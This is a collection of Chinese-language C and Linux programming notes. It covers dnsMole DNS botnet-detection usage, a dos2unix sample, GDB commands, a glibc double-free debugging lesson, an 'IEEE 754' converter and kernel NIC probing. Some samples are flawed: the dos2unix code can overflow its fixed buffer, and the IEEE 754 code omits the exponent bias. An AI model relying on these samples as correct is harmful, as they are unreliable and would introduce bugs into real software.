| ---------------------------------------------------------------------------------------------------------------------------------- |

5\. 可閱讀程式碼中提供的文件獲得基本的安裝與使用說明 dns-mole-read-only/README\
\
dnsmole.conf \\

| <p><br><br>#detection based on group activity<br><br>aAnalyzeInterval 1200 -- interval for collecting dns packets for activity method<br>aDrop 5 -- remove fqdn from structure if it is queried less than n different hosts<br>aBlackSimilarity 0.8 -- report black if similarity is higher or equal<br>aWhiteSimilarity 0.1 -- report white if similarity is less or equal<br><br>#detection based on host co-occurrence<br><br>oAnalyzeInterval 600 -- interval for collecting dns packets for co-occurrence method<br>oBlackIpTreshold 0.5 -- report host is infected if ratio (queried\_black/queried\_all) is higher or equal<br>oWhite 0.1 -- report white if index is less or equal<br>oBlack 0.9 -- report black if index is higher or equal<br><br># Subnet where program is going to be run<br><br>nSubnet 16 -- define subnet where program is running, used for storing hosts ip in hash table<br><br>#detection based on statistics<br><br>sThresholdTotal 5 -- the threshold for the number of a host's queries/responses for a time period<br>sThresholdPTR 5 -- for the number of PTR queries<br>sThresholdMX 5 -- for the number of MX queries<br>sThresholdBalance 0.9 -- for the difference between the number of queries and responses<br>sThresholdPTRRate 0.9 -- for the rate of PTR queries<br>sThresholdMXRate 0.9 -- for the rate of MX queries<br>sClassifyInterval 30 -- period to classify queries into host's statistics<br>sAnalyzeInterval 1800 -- the interval to collect data before sending to analyze<br><br><br></p> |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
\
dnsMole parameters\\

|

\
dnsMole program parameters\
\==========================\
\
-b \<file> and -w \<file> - black/white list filename\
-c \<file> - configuration filename\
-l \<file> - define name of log file, if it is not used default dnsmole-log will be used\
-i \<interface> - set interface for sniffing\
-s - sniffer mode\
-d - run programm in backgroun\
-p \<file> - use .pcap file for analysis\
-a \<interval> - it MUST be used with method 2 in pcap analysis mode, defines interval of .pcap file\
-t <1|2|3> - analysis method\
\\

\| | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
\
筆者註: analysis method 中的 1, 2, 3 應該對應到\
\
1\. Anomaly detection for DNS Servers using frequent host selection\
2\. Botnet detection by monitoring group activities in DNS traffic\
3\. Extending black domain name list by using co-occurrence relation between DNS queres\
\
\
\
How to use dnsmole\\

| <p><br>dnsMole requires that you must run program as root in sniffer mode, but otherwise for pcap analysis<br>it isn't required.<br><br>1. pcap analysis<br><br>\~ example.pcap for analysis with method 1 and put in background use bl.txt as blacklist<br><br>$ dnsmole -c doc/dnsmole.conf -p example.pcap -b bl.txt -t 1 -d<br><br>\~ example.pcap for analysis with method 2, pcap interval is n, and use bl.txt as blacklist and wl.txt as whitelist<br><br>$ dnsmole -c doc/dnsmole.conf -p example.pcap -b bl.txt -w wl.txt -t 2 -a n<br><br>2. sniffer mode ( root privileges )<br><br>\~ use wlan0 as interface with wl.txt as whitelist, define log001 as output log and use method 3, put in background<br><br># dnsmole -i wlan0 -s -d -c doc/dnsmole.conf -w wl.txt -l log001 -t 3<br><br>3. combined ( root privileges )<br><br>\~ first use analysis on example.pcap and than run sniffer in background<br><br># dnsmole -t 2 -a n -p example.pcap -w wl.txt -b bl.txt -s -d -i wlan0 -l dnsmoleLog<br><br><br></p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
**Port mirror 模式測試**\
\
啟動：\
\
1\. 建立設定檔 /etc/dnsmole/dnsmole.conf (可使用 source code 中的 doc/dnsmole.conf 範本)\
2\. 指定流量介面: -i eth1\
2\. 建立黑名單網域 bl.txt，白名單網域 wl.txt\
\
bl.txt 跟 wl.txt 的格式是一行一筆 domain name，如 [www.ncku.edu.tw\\](http://www.ncku.edu.tw\\)
\
3\. mode 1 ( -t 1)。\
4\. 啟動 sniffer 模式：-s

| <p><br># dnsmole -c /etc/dnsmole/dnsmole.conf -i eth1 -b bl.txt -w wl.txt -t 1 -s<br></p> |
| ----------------------------------------------------------------------------------------- |

\
若是流量來自 .pcap 檔案，可使用 -p file\_name.pcap 指定檔案。


# dos2unix 程式碼

格式 DOS(windows) 與 UNIX 的差異是，\
\
DOS 以 '\r' 作為換行符號，而 UNIX 系統以 '\n' 作為換行符號，\
\
一般 Linux 系統都會有 dos2unix 與 unix2dos 的指令，\
\
如果要自行安裝的話，該指令是位於 sysutils 套件中。\
\
因為只有更換 '\r' -> '\n' 或 '\n' -> '\r' 而已，\
\
以前就練習一下，寫一個 dos2unix 的 sample.<br>

```c
/* Author : AppleZu Lab (http://applezu.netdpi.net)
 * Only translate '\r'(ASCII code: 13) to '\n'.
 * License: GNU
 */

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdio.h>

int main(int argc, char *argv[])
{
  FILE *fp;
  int i;
  char buf[1024];
  char buf2[65535];

  if (argc <2) {
    printf("%s filename\n", argv[0]);
    return -2;
  }

  memset(buf, '\0', sizeof(buf));
  memset(buf2, '\0', sizeof(buf2));

  fp=fopen(argv[1], "r");

  if(fp == NULL){
    printf("Can't open %s\n", argv[1]);
      return -1;
  }

  while( fgets( buf, sizeof(buf), fp) != NULL ) {

    for(i=0; i < sizeof (buf); i++) {
      if(buf[i] == 13)
        buf[i] = '\n';
    }

    strncat(buf2, buf, strlen(buf));
  }

  fclose(fp);

  fp=fopen(argv[1], "w+");
  fputs(buf2, fp);
  fclose(fp);
  return 0;
}
```


# Function pointer in C

Function pointer is useful to do abstraction; it is a general implementation of immediate interface; it is also used to implement the plug-in interface.

Here is a example:

```c
#include <stdio.h> 
#include <strings.h>

typedef struct _dev{ 
    char name[16]; 
    void (*open)(); 
} dev;

double init (dev *dev) 
{ 
    bzero(dev->name, sizeof(dev->name)); 
    return 0.0; 
}

int dev_a_open(void) 
{ 
    printf("device a open\n"); 
    return 0; 
}

int dev_b_open(void) 
{ 
    printf("device b open\n"); 
    return 0; 
}

int main(int argc, char *argv) {

    dev dev_a, dev_b, *dev;
    init(&dev_a);
    init(&dev_b);

    dev = &dev_a;
    dev->open = dev_a_open;
    dev->open();

    dev = &dev_b;
    dev->open = dev_b_open;
    dev->open();

    return 0;
}

```


# GCC header limits.h

在 trace vsftpd 時，看到裡面有個變數 INT\_MAX，

但是 vim + tags 或 grep 完全找不到 INT\_MAX 的定義，

因此發現 limits.h 裡頭有定義了，而且也有之前談過的 CHAR\_BIT。

細節請參考 GCC /usr/include/limits.h 的內容。


# GDB 參數

程式編譯時需啟動 debug flag: ex. gcc hello.c -o hello -g&#x20;

* file : 載入執行檔
* break : 設定中斷點 ( n 為正整數 )
  * break n (中斷於第 n 行)
  * break +n (中斷於目前之後的 n 行)
  * break func (中斷於 func function)
  * break file.c:n (中斷於 file.c 的第 n 行)
* info break : 查看已經設定多少個 break point
* clear : 清除中斷點
  * clear n
  * clar func
* delete : 清除中斷點 ( m 為正整數 )
  * delete m (刪除第 m 個中斷點)
* disable : 暫時關閉中斷點
* enable : 啟動 disable 的中斷點
* return : 從 function return
* attach pid : 指定 trace 的 child process
* detach pid : 反向 attach 的動作
* set args str : 設定 \*argv\[ ]
* run : 開始執行程式
* continue : 中斷點後繼續執行，直到下一個中斷點或程式節數
* next : 繼續執行下一行 (若是 function, 執行完整的 function )
  * ex. 設定開始一行一行追蹤的中斷點: break n; 然後執行程式 (run); 接著就可以使用 next 一行一行追蹤
* step : 類似 next, 只是在 function 中也是一行一行跑
* until : break 迴圈
* print :
  * print variable : 印出 variable 變數的值
  * print \&variable : 印出 variable 變數的位址
  * print \*variable : 印出 \*variable 指標變數所指的記憶體內容值
  * print /x variable : 指定 print 以十六進位格式輸出 variable (格式: x 十六進位, d 有號整數, u 無號整數, o 八進位 , t binary , a 位址 , c 字元, f: 浮點數 )
* diaplay variable : 每次 step/next 都會輸出 variable 的值

\
更多進階 GDB 操作 (ex. multithread, signal handler, remote debug ) 可參考  \[1] Chap. 6, 進階 GDB \
\
Reference

1. 黃郁熙, 用Open Source工具開發軟體新軟體開發關念, [http://www.study-area.org/cyril/opentools/opentools/book1.html](https://web.archive.org/web/20200306075330/http://www.google.com/url?q=http%3A%2F%2Fwww.study-area.org%2Fcyril%2Fopentools%2Fopentools%2Fbook1.html\&sa=D\&sntz=1\&usg=AFrqEzd0H40st2Fm6xpveiMsWYYT7EFk8w)
2. 除錯工具, [http://www.study-area.org/cyril/opentools/opentools/debug.html](https://web.archive.org/web/20200306075330/http://www.google.com/url?q=http%3A%2F%2Fwww.study-area.org%2Fcyril%2Fopentools%2Fopentools%2Fdebug.html\&sa=D\&sntz=1\&usg=AFrqEzcD7r8cl7NtFhBvMgQQ-fHIw779MA)
3. ckhung GDB, [http://people.ofset.org/\~ckhung/b/c/gdb.php](https://web.archive.org/web/20200306075330/http://www.google.com/url?q=http%3A%2F%2Fpeople.ofset.org%2F%7Eckhung%2Fb%2Fc%2Fgdb.php\&sa=D\&sntz=1\&usg=AFrqEzfOhcO2z8eWRS5I2eTiMV8JKpWgPw)
4. GDB Toturial, [http://www-2.cs.cmu.edu/\~gilpin/tutorial/](https://web.archive.org/web/20200306075330/http://www.google.com/url?q=http%3A%2F%2Fwww-2.cs.cmu.edu%2F%7Egilpin%2Ftutorial%2F\&sa=D\&sntz=1\&usg=AFrqEzdQwM9So274E0IPZUBzkIk0r22XYA)
5. GDB manual, [http://www.gnu.org/software/gdb/documentation/](https://web.archive.org/web/20200306075330/http://www.google.com/url?q=http%3A%2F%2Fwww.gnu.org%2Fsoftware%2Fgdb%2Fdocumentation%2F\&sa=D\&sntz=1\&usg=AFrqEzdxEljzQQfxSG9jJlTFgWS7hCEk_A)
6. Debugging with GDB, [http://www.delorie.com/gnu/docs/gdb/gdb\_toc.html](https://web.archive.org/web/20200306075330/http://www.google.com/url?q=http%3A%2F%2Fwww.delorie.com%2Fgnu%2Fdocs%2Fgdb%2Fgdb_toc.html\&sa=D\&sntz=1\&usg=AFrqEzcat_PmPKV_1BBOtQzAmLS_zW6Wlw)
7. RMS's gdb Debugger Tutorial, [http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html](https://web.archive.org/web/20200306075330/http://www.google.com/url?q=http%3A%2F%2Fwww.unknownroad.com%2Frtfm%2Fgdbtut%2Fgdbtoc.html\&sa=D\&sntz=1\&usg=AFrqEzdEPcxTyZ9czcWiDP8EHb9YzkuF7A)
8. Guide to Faster, Less Frustrating Debugging,  [http://heather.cs.ucdavis.edu/\~matloff/UnixAndC/CLanguage/Debug.html](https://web.archive.org/web/20200306075330/http://www.google.com/url?q=http%3A%2F%2Fheather.cs.ucdavis.edu%2F%7Ematloff%2FUnixAndC%2FCLanguage%2FDebug.html\&sa=D\&sntz=1\&usg=AFrqEzeMY45ofzpLoPYEtTKtGc0PiNyOug)


# glibc detected (double free)

Environment: Ubuntu 10.04\
C compiler: gcc version 4.4.3\
\
如 果 C 程式出現了下列的錯誤訊息 (glibc detected .... double free ...)，依據錯誤訊息的說明，它是 glibc 預防程式對同一塊記憶體重複 free 所進行的偵測，如果想要強制執行程式以觀察執行狀況，只要在執行程式前，將環境變數 MALLOC\_CHECK\_ 設定為 0 就可以關閉這項檢查，ex.   MALLOC\_CHECK\_=0 ./test (執行檔名是 test )。\
\
寫了下列的小程式來測試，這個程式沒做什麼事情，主要只是配置了一個動態的二維記憶體空間 (10 \* 32)，再一一釋放記憶體，程式就結束了，這個程式就會引起 double free 的問題，在往下看結果之前，請研究這隻程式哪裡有問題? <br>

| <p>  1 #include \<stdio.h><br>  2 #include \<stdlib.h><br>  3<br>  4 int main(int argc, char *argv\[])<br>  5 {<br>  6<br>  7         char **str = NULL;<br>  8         const int x=10;<br>  9         const int y=32;<br> 10         int i;<br> 11<br> 12         str = (char**) malloc ( sizeof(char) \* x );<br> 13<br> 14         /* NULL pointer \*/<br> 15         if( ! str ) {<br> 16                 printf("NULL Pointer\n");<br> 17                 return -1;<br> 18         }<br> 19<br> 20         printf("Address of str=%x, and point to %x\n", \&str, str);<br> 21<br> 22         bzero(str, x);<br> 23<br> 24         printf("---------------------------------------------------\n");<br> 25<br> 26         for( i=0; i\<x; i++) {<br> 27<br> 28                 str\[i] = (char \*)malloc( sizeof(char) \* y );<br> 29<br> 30                 if( ! str\[i] ) {<br> 31                         printf("NULL Pointer\n");<br> 32                         return -1;<br> 33                 }<br> 34<br> 35<br> 36                 printf("Address of str\[%d]=%x, and point to %x\n", i, \&str\[i], str\[i]);<br> 37<br> 38                 bzero(str\[i], y);<br> 39                 strcpy(str\[i], "hello");<br> 40<br> 41         }<br> 42<br> 43<br> 44         printf("---------------------------------------------------\n");<br> 45<br> 46         for( i=0; i\<x; i++) {<br> 47<br> 48                 if( str\[i] ) {<br> 49                         free( str\[i] );<br> 50                 }<br> 51         }<br> 52<br> 53         if(str) {<br> 54                 free (str);<br> 55         }<br> 56<br> 57         return 0;<br> 58 }<br> 59</p> |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
上面的程式執行時出現了錯誤訊息<br>

| <p>ming\@linuxbox:/tmp$ gcc test.c -o test<br>ming\@linuxbox:/tmp$ ./test<br><br>Address of str=bfe0e6ec, and point to 8884008<br>---------------------------------------------------<br>Address of str\[0]=8884008, and point to 8884018<br>Address of str\[1]=888400c, and point to 8884040<br>Address of str\[2]=8884010, and point to 8884068<br>Address of str\[3]=8884014, and point to 8884090<br>Address of str\[4]=8884018, and point to 88840b8<br>Address of str\[5]=888401c, and point to 88840e0<br>Address of str\[6]=8884020, and point to 8884108<br>Address of str\[7]=8884024, and point to 8884130<br>Address of str\[8]=8884028, and point to 8884158<br>Address of str\[9]=888402c, and point to 8884180<br>---------------------------------------------------<br>\*\*\* glibc detected \*\*\* ./6: double free or corruption (out): 0x08884018 \*\*\*<br>======= Backtrace: =========<br>/lib/tls/i686/cmov/libc.so.6(+0x6b591)\[0x17b591]<br>/lib/tls/i686/cmov/libc.so.6(+0x6cde8)\[0x17cde8]<br>/lib/tls/i686/cmov/libc.so.6(cfree+0x6d)\[0x17fecd]<br>./6\[0x8048696]<br>/lib/tls/i686/cmov/libc.so.6(\_\_libc\_start\_main+0xe6)\[0x126bd6]<br>./6\[0x8048451]<br>======= Memory map: ========<br>00110000-00263000 r-xp 00000000 08:01 6685537    /lib/tls/i686/cmov/libc-2.11.1.so<br>00263000-00264000 ---p 00153000 08:01 6685537    /lib/tls/i686/cmov/libc-2.11.1.so<br>00264000-00266000 r--p 00153000 08:01 6685537    /lib/tls/i686/cmov/libc-2.11.1.so<br>00266000-00267000 rw-p 00155000 08:01 6685537    /lib/tls/i686/cmov/libc-2.11.1.so<br>00267000-0026a000 rw-p 00000000 00:00 0<br>003b8000-003b9000 r-xp 00000000 00:00 0          \[vdso]<br>00ef0000-00f0d000 r-xp 00000000 08:01 6553683    /lib/libgcc\_s.so.1<br>00f0d000-00f0e000 r--p 0001c000 08:01 6553683    /lib/libgcc\_s.so.1<br>00f0e000-00f0f000 rw-p 0001d000 08:01 6553683    /lib/libgcc\_s.so.1<br>00f85000-00fa0000 r-xp 00000000 08:01 6553649    /lib/ld-2.11.1.so<br>00fa0000-00fa1000 r--p 0001a000 08:01 6553649    /lib/ld-2.11.1.so<br>00fa1000-00fa2000 rw-p 0001b000 08:01 6553649    /lib/ld-2.11.1.so<br>08048000-08049000 r-xp 00000000 08:01 6684686    /tmp/6<br>08049000-0804a000 r--p 00000000 08:01 6684686    /tmp/6<br>0804a000-0804b000 rw-p 00001000 08:01 6684686    /tmp/6<br>08884000-088a5000 rw-p 00000000 00:00 0          \[heap]<br>b7700000-b7721000 rw-p 00000000 00:00 0<br>b7721000-b7800000 ---p 00000000 00:00 0<br>b7833000-b7834000 rw-p 00000000 00:00 0<br>b7848000-b784b000 rw-p 00000000 00:00 0<br>bfdfb000-bfe10000 rw-p 00000000 00:00 0          \[stack]<br>Aborted <br></p> |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
上面的程式都有檢查所 要進行 free memory 的 pointer，正常的邏輯下不會對一個 pointer 進行兩次以上的 free，但是，將記憶體位址印出來就會發現問題，原因是在配置 pointer 的記憶體時，型態的大小配置錯誤 sizeof(char)，所以其實 pointer 所指向的記憶體區塊發生了問題，產生了兩個 pointers 指向同一塊 memory 的重複情況，因此，glibc 才會偵測到有 double free 發生。

| <p><br>ming\@linuxbox:/tmp$ gcc test.c -o test<br>ming\@linuxbox:/tmp$ MALLOC\_CHECK\_=0 ./test<br>Address of str=bfabe5ac, and point to 85af008<br>---------------------------------------------------<br>Address of str\[0]=85af008, and point to <strong>85af018</strong><br>Address of str\[1]=85af00c, and point to 85af040<br>Address of str\[2]=85af010, and point to 85af068<br>Address of str\[3]=85af014, and point to 85af090<br>Address of str\[4]=<strong>85af018</strong>, and point to 85af0b8<br>Address of str\[5]=85af01c, and point to 85af0e0<br>Address of str\[6]=85af020, and point to 85af108<br>Address of str\[7]=85af024, and point to 85af130<br>Address of str\[8]=85af028, and point to 85af158<br>Address of str\[9]=85af02c, and point to 85af180<br>---------------------------------------------------</p> |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
修改程式碼第 12 行的部分，**因為這塊記憶體每個 atom 的 data type 是 pointer，因此，在 malloc memory 時要注意每個 atom 的大小是配置 size of pointer，而不是 size of data type**。<br>

<figure><img src="/files/ZvSpa5Z0dTHHsOzYb1Ww" alt=""><figcaption></figcaption></figure>

\
接著每個 str\[i] 所指的記憶體每個 atom 的 data type 是 character，所以這個程式正常的配置記憶體情況將如下圖所示 (程式碼 26 \~ 41 行)<br>

<figure><img src="/files/rsR0AENCWszQE1DOBTcA" alt=""><figcaption></figcaption></figure>

| <p>  1 #include \<stdio.h><br>  2 #include \<stdlib.h><br>  3<br>  4 int main(int argc, char *argv\[])<br>  5 {<br>  6<br>  7         char **str = NULL;<br>  8         const int x=10;<br>  9         const int y=32;<br> 10         int i;<br> 11<br> 12         str = (char**) malloc ( sizeof(str) \* x ) ;<br> 13<br> 14         /* NULL pointer \*/<br> 15         if( ! str ) {<br> 16                 printf("NULL Pointer\n");<br> 17                 return -1;<br> 18         }<br> 19<br> 20         printf("Address of str=%x, and point to %x\n", \&str, str);<br> 21<br> 22         bzero(str, x);<br> 23<br> 24         printf("---------------------------------------------------\n");<br> 25<br> 26         for( i=0; i\<x; i++) {<br> 27<br> 28                 str\[i] = (char \*)malloc( sizeof(char) \* y );<br> 29<br> 30                 if( ! str\[i] ) {<br> 31                         printf("NULL Pointer\n");<br> 32                         return -1;<br> 33                 }<br> 34<br> 35<br> 36                 printf("Address of str\[%d]=%x, and point to %x\n", i, \&str\[i], str\[i]);<br> 37<br> 38                 bzero(str\[i], y);<br> 39                 strcpy(str\[i], "hello");<br> 40<br> 41         }<br> 42<br> 43<br> 44         printf("---------------------------------------------------\n");<br> 45<br> 46         for( i=0; i\<x; i++) {<br> 47<br> 48                 if( str\[i] ) {<br> 49                         free( str\[i] );<br> 50                 }<br> 51         }<br> 52<br> 53         if(str) {<br> 54                 free (str);<br> 55         }<br> 56<br> 57         return 0;<br> 58 }<br> 59<br></p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
修正後的執行結果就正確了，程式執行時也不再出現 double free 的錯誤訊息。<br>

| <p>ming\@linuxbox:/tmp$ gcc test.c -o test<br>ming\@linuxbox:/tmp$ ./test<br>Address of str=bfaa32bc, and point to 8c5c008<br>---------------------------------------------------<br>Address of str\[0]=8c5c008, and point to 8c5c038<br>Address of str\[1]=8c5c00c, and point to 8c5c060<br>Address of str\[2]=8c5c010, and point to 8c5c088<br>Address of str\[3]=8c5c014, and point to 8c5c0b0<br>Address of str\[4]=8c5c018, and point to 8c5c0d8<br>Address of str\[5]=8c5c01c, and point to 8c5c100<br>Address of str\[6]=8c5c020, and point to 8c5c128<br>Address of str\[7]=8c5c024, and point to 8c5c150<br>Address of str\[8]=8c5c028, and point to 8c5c178<br>Address of str\[9]=8c5c02c, and point to 8c5c1a0<br>---------------------------------------------------</p> |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |

Reference:\
Red Hat and Fedora Core compatibility tweaks, [http://dag.wieers.com/howto/compatibility/](https://web.archive.org/web/20200306075345/http://www.google.com/url?q=http%3A%2F%2Fdag.wieers.com%2Fhowto%2Fcompatibility%2F\&sa=D\&sntz=1\&usg=AFrqEzd8xJm8X87lzEwQ2iV8Xc8xYM4KRQ).


# IEEE 754 and float 範例程式

功能：互轉浮點數與二進制表示法<br>

```c

/* ieee754.c  
 * Author: Aaron Liao (http://applezulab.netdpi.net)
 * Last updated: 2010/12/29 
 * IEEE754 sample code
 * LICENSE: GPL
 * 32 bits:  [1][8][23]
 * 64 bits:  [1][11][52]
 */

#include <strings.h>
#include <string.h>
#include <stdio.h>

int ieee754(char *data, double real)
{
    int exp=0, i=0, exp_tmp;
    double cal, frag_tmp;
    char buf[32];

    bzero(buf, sizeof(buf));

    cal = real;
    /* get sign */
    if( cal < 0 ){

        buf[0] = 1;
        cal *= (double) -1;

    } else {

        buf[0] = 0;
    }

    /* get exp */
    while( cal >= 1.0 ) {
        cal /= 2;
        exp++;
    }

    for( i=8, exp_tmp=1; i>0; i--){

        if( (exp & exp_tmp) ) {

            buf[i] = 1;

        } else {

            buf[i] = 0;

        }

        exp_tmp *=2 ;
    }

    /* get fraction */
    for(i=9, frag_tmp = (double) 1/2; i< 32; i++) {

        if( (cal - frag_tmp) >= 0 ){
            buf[i] = 1;
            cal = (double) cal - (double) frag_tmp;
        } else {
            buf[i] = 0;
        }
        frag_tmp /= (double) 2;

    }

    /* To ascii */
    for(i=0; i<32; i++) {

        buf[i] += '0';
    }

    strncpy(data, buf, 32);

    return 0;
}

double rev_ieee754(char *buf)
{
    int exp=0, i=0, exp_tmp, sign;
    double real, frag_tmp;
    int len = 32;

    /* get sign */
    if( buf[0] == '1' ){

        sign = -1;

    } else {

        sign = 1;
    }

    /* get exp */
    for( exp=0, i=8, exp_tmp=1; i>0; i--){

        if( buf[i] == '1') {
            exp += exp_tmp;
        }

        exp_tmp*=2;
    }

    /* get fraction */
    for(i=9, real=(double)0, frag_tmp = (double) 1/2; i< len; i++) {

        if( buf[i] == '1') {
            real += frag_tmp;
        }
        
        frag_tmp /= (double) 2;

    }

    while(exp>0) {

        real *= 2;
        exp--;
    }

    real *= (double) sign;

    return real;
}

int ieee754_64(char *data, double real)
{
    int exp=0, i=0, exp_tmp;
    double cal, frag_tmp;
    static char buf[64];

    bzero(buf, sizeof(buf));

    cal = real;
    /* get sign */
    if( cal < 0 ){

        cal *= (double) -1;
        buf[0] = 1;

    } else {

        buf[0] = 0;
    }

    /* get exp */
    while( cal >= 1.0 ) {
        cal /= 2;
        exp++;
    }

    for( i=11, exp_tmp=1; i>0; i--){

        if( (exp & exp_tmp) ) {

            buf[i] = 1;

        } else {

            buf[i] = 0;

        }

        exp_tmp *=2 ;
    }

    /* get fraction */
    for(i=12, frag_tmp = (double) 1/2; i< 64; i++) {

        if( (cal - frag_tmp) >= 0 ){
            buf[i] = 1;
            cal = (double) cal - (double) frag_tmp;
        } else {
            buf[i] = 0;
        }
        frag_tmp /= (double) 2;

    }

    /* To ascii */
    for(i=0; i<64; i++) {

        buf[i] += '0';
    }

    strncpy(data, buf, 64);

    return 0;
}

double rev_ieee754_64(char *buf)
{
    int exp=0, i=0, exp_tmp, sign;
    double real, frag_tmp;
    int len=64;

    /* get sign */
    if( buf[0] == '1' ){

        sign = -1;

    } else {

        sign = 1;
    }

    /* get exp */
    for( exp=0, i=11, exp_tmp=1; i>0; i--){

        if( buf[i] == '1') {
            exp += exp_tmp;
        }

        exp_tmp*=2;
    }

    /* get fraction */
    for(i=12, real=(double)0, frag_tmp = (double) 1/2; i< len; i++) {

        if( buf[i] == '1') {
            real += frag_tmp;
        }
        
        frag_tmp /= (double) 2;

    }

    while(exp>0) {

        real *= 2;
        exp--;
    }

    real *= (double) sign;

    return real;
}

/* test */
int main(void)
{
    int i, j;
    char buf[32], buf2[64];

    for(i=1; i<=1000000; i*=2) {
        
        bzero(buf, sizeof(buf));
        bzero(buf2, sizeof(buf2));

        ieee754( (char*)buf, (double) i);
        printf("[32bit] %20f ->\t", rev_ieee754( (char*)buf));;

        for(j=0; j<sizeof(buf); j++) {
            printf("%c ", buf[j]);
        }
        printf("\n");

        ieee754_64( buf2, (double) i);
        printf("[64bit] %20f ->\t", rev_ieee754_64( (char*)buf2));;

        for(j=0; j<sizeof(buf2);j++) {
            printf("%c ", buf2[j]);
        }
        printf("\n");
    }

    return 0;
}
```

<br>


# kernel 中的網路卡名稱與命名順序關係

有天，WalkingIce 於 Linux 版發問了下列的問題：\ <br>

> 看板: Linux\
> \
> 標 題: \[問題] 關於eth0與網路卡的關係\
> \
> 發信站: 批踢踢實業 (Sat Apr 8 17:52:48 2006)\
> 轉信站: SayYa!ctu-reader!news.nctu!ptt\
> Origin: sally.csie.ntu.edu.tw\
> \
> 不知道標題這樣下有沒有問題:P\
> \
> 就我的認知，假設網路卡都沒問題可以讓kernel抓到之後\
> \
> 設定/etc/network/interfaces (以debian為例)\
> \
> 把這一類的設定填入\
> \
> auto eth0\
> iface eth0 inet static\
> address 192.168.1.1\
> \
> 再執行ifup eth0就可以啟動網路卡，並且有192.168.1.1這個ip\
> \
> 我很好奇的是，系統如何決定eth0這個代號會跟哪一個硬體扯上關係？\
> \
> 如果我插的是另外一張莫名其妙的卡而非網路卡，系統這時候又會怎麼應對呢？\
> \
> 此外，如果我還有另一張網路卡。這個代號的順序又是如何決定呢？\
> \
> 謝謝 <(\_ \_)>\ <br>

\
\
這使得我那天熱血沸騰起來，直接翻出 Linux kernel source code 來讀：\
\
me="個人推敲"\
linux="/usr/src/linux-2.6.15.6"\ <br>

> ```c
> $linux/drivers/net/Space.c:360
>
>             /*  Statically configured drivers -- order matters here. */
>             static int __init net_olddevs_init(void)
>             {
>
>
>                 int num;
>
>
>                 if (loopback_init()) {
>                         printk(KERN_ERR "Network loopback device setup failed\n");
>                 }
>
>
>                 ...
>
>
>                  /*  me: NETDEV_BOOT_SETUP_MAX 預設值 8
>                   *      意謂預設開機最多偵測的網卡數 == 8？
>                  */
>                 for (num = 0; num < 8; ++num)
>                     etherif_probe2(num);    <----------
>
>                 ...
>
>             }
> ```

> ```c
> $linux/drivers/net/Space.c:300
>
>         /*
>          * Unified ethernet device probe, segmented per architecture and
>          * per bus interface. This drives the legacy devices only for now.
>          */
>
>
>         static void __init ethif_probe2(int unit)
>         {
>
>
>                 /*
>                   *  me: netdev_boot_base 檢查此裝置是否已經 register
>                  */
>                 unsigned long base_addr = netdev_boot_base("eth", unit);
>
>
>                 if (base_addr == 1)
>                         return;
>
>
>                 /* 偵測網卡 */
>                 (void)( probe_list2(unit, m68k_probes, base_addr == 0) &&
>                         probe_list2(unit, eisa_probes, base_addr == 0) &&
